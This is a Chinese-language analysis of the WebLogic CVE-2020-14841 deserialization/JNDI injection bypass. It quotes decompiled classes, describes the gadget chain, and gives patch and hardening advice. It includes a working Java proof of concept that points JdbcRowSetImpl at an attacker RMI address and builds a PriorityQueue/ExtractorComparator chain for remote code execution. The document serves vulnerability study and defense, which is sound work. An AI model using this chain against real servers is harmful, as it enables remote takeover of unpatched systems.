CVE 2020-14841 WebLogic JNDI注入绕过分析
字数 1124 2025-08-15 21:32:20

WebLogic CVE-2020-14841 JNDI注入绕过分析教学文档

漏洞概述

CVE-2020-14841是Oracle WebLogic Server中的一个安全漏洞,属于JNDI注入绕过漏洞。该漏洞与之前曝光的CVE-2020-2555和CVE-2020-14645类似,都是通过反序列化攻击链实现远程代码执行。

漏洞分析

漏洞背景

通过对比WebLogic升级包中的黑名单变化,发现新增了以下类:
oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor

关键类分析

LockVersionExtractor类

package oracle.eclipselink.coherence.integrated.internal.cache;

import com.tangosol.io.ExternalizableLite;
import com.tangosol.io.pof.PofReader;
import com.tangosol.io.pof.PofWriter;
import com.tangosol.io.pof.PortableObject;
import com.tangosol.util.ExternalizableHelper;
import com.tangosol.util.ValueExtractor;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import oracle.eclipselink.coherence.integrated.cache.Wrapper;
import oracle.eclipselink.coherence.integrated.internal.querying.EclipseLinkExtractor;
import org.eclipse.persistence.mappings.AttributeAccessor;

public class LockVersionExtractor implements ValueExtractor, ExternalizableLite, PortableObject, EclipseLinkExtractor {
    protected AttributeAccessor accessor;
    protected String className;
    
    public LockVersionExtractor() {
    }
    
    public LockVersionExtractor(AttributeAccessor accessor, String className) {
        this.accessor = accessor;
        this.className = className;
    }
    
    public Object extract(Object arg0) {
        if(arg0 == null) {
            return null;
        } else {
            if(arg0 instanceof Wrapper) {
                arg0 = ((Wrapper)arg0).unwrap();
            }
            if(!this.accessor.isInitialized()) {
                this.accessor.initializeAttributes(arg0.getClass());
            }
            return this.accessor.getAttributeValueFromObject(arg0);
        }
    }
    // 其他方法省略...
}

关键点:

  1. 实现了ValueExtractor接口,可用于数据提取
  2. 通过accessor.getAttributeValueFromObject(arg0)调用目标方法
  3. 与CVE-2020-2555的利用方式类似

MethodAttributeAccessor类

package org.eclipse.persistence.internal.descriptors;

public class MethodAttributeAccessor extends AttributeAccessor {
    protected String setMethodName = "";
    protected String getMethodName;
    protected transient Method setMethod;
    protected transient Method getMethod;
    
    public Object getAttributeValueFromObject(Object anObject) throws DescriptorException {
        return this.getAttributeValueFromObject(anObject, (Object[])null);
    }
    
    protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException {
        try {
            if(PrivilegedAccessHelper.shouldUsePrivilegedAccess()) {
                try {
                    return AccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters));
                } catch (PrivilegedActionException var5) {
                    // 异常处理...
                }
            } else {
                return this.getMethod.invoke(anObject, parameters);
            }
        }
        // 其他代码...
    }
}

关键点:

  1. 通过反射调用getMethod指定的方法
  2. 只能执行无参函数(parameters为null)
  3. 与CVE-2020-14645的利用方式类似

漏洞利用链

  1. 构造一个LockVersionExtractor实例
  2. 设置MethodAttributeAccessor作为其accessor
  3. 通过MethodAttributeAccessor指定要调用的方法
  4. 利用ExtractorComparatorPriorityQueue构建反序列化利用链

POC构造

// JdbcRowSetImpl
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://192.168.3.254:8888/xsmd");

MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();
methodAttributeAccessor.setGetMethodName("getDatabaseMetaData");
methodAttributeAccessor.setIsWriteOnly(true);
methodAttributeAccessor.setAttributeName("UnicodeSec");

LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, "UnicodeSec");

final ExtractorComparator comparator = new ExtractorComparator(extractor);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

Object[] q = new Object[]{jdbcRowSet, jdbcRowSet};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);

Field comparatorF = queue.getClass().getDeclaredField("comparator");
comparatorF.setAccessible(true);
comparatorF.set(queue, new ExtractorComparator(extractor));

关键点:

  1. 使用JdbcRowSetImpl作为攻击目标,通过JNDI注入实现RCE
  2. 设置getDatabaseMetaData作为要调用的方法
  3. 构造PriorityQueue触发反序列化
  4. 通过反射设置comparator字段

漏洞修复

Oracle通过以下方式修复此漏洞:

  1. LockVersionExtractor类加入反序列化黑名单
  2. 加强JNDI查找的权限控制

防护建议

  1. 及时安装Oracle官方发布的安全补丁
  2. 限制WebLogic服务器的网络访问,特别是对外的JNDI/RMI连接
  3. 使用安全产品监控反序列化行为
  4. 考虑使用Java反序列化过滤器

总结

CVE-2020-14841是WebLogic中又一个利用反序列化漏洞实现JNDI注入的攻击案例,与之前的CVE-2020-2555和CVE-2020-14645有相似的利用模式。攻击者可以通过构造特定的序列化对象,在目标服务器上实现远程代码执行。管理员应及时更新补丁,并采取适当的防护措施。

WebLogic CVE-2020-14841 JNDI注入绕过分析教学文档 漏洞概述 CVE-2020-14841是Oracle WebLogic Server中的一个安全漏洞,属于JNDI注入绕过漏洞。该漏洞与之前曝光的CVE-2020-2555和CVE-2020-14645类似,都是通过反序列化攻击链实现远程代码执行。 漏洞分析 漏洞背景 通过对比WebLogic升级包中的黑名单变化,发现新增了以下类: oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor 关键类分析 LockVersionExtractor类 关键点: 实现了 ValueExtractor 接口,可用于数据提取 通过 accessor.getAttributeValueFromObject(arg0) 调用目标方法 与CVE-2020-2555的利用方式类似 MethodAttributeAccessor类 关键点: 通过反射调用 getMethod 指定的方法 只能执行无参函数(parameters为null) 与CVE-2020-14645的利用方式类似 漏洞利用链 构造一个 LockVersionExtractor 实例 设置 MethodAttributeAccessor 作为其 accessor 通过 MethodAttributeAccessor 指定要调用的方法 利用 ExtractorComparator 和 PriorityQueue 构建反序列化利用链 POC构造 关键点: 使用 JdbcRowSetImpl 作为攻击目标,通过JNDI注入实现RCE 设置 getDatabaseMetaData 作为要调用的方法 构造 PriorityQueue 触发反序列化 通过反射设置 comparator 字段 漏洞修复 Oracle通过以下方式修复此漏洞: 将 LockVersionExtractor 类加入反序列化黑名单 加强JNDI查找的权限控制 防护建议 及时安装Oracle官方发布的安全补丁 限制WebLogic服务器的网络访问,特别是对外的JNDI/RMI连接 使用安全产品监控反序列化行为 考虑使用Java反序列化过滤器 总结 CVE-2020-14841是WebLogic中又一个利用反序列化漏洞实现JNDI注入的攻击案例,与之前的CVE-2020-2555和CVE-2020-14645有相似的利用模式。攻击者可以通过构造特定的序列化对象,在目标服务器上实现远程代码执行。管理员应及时更新补丁,并采取适当的防护措施。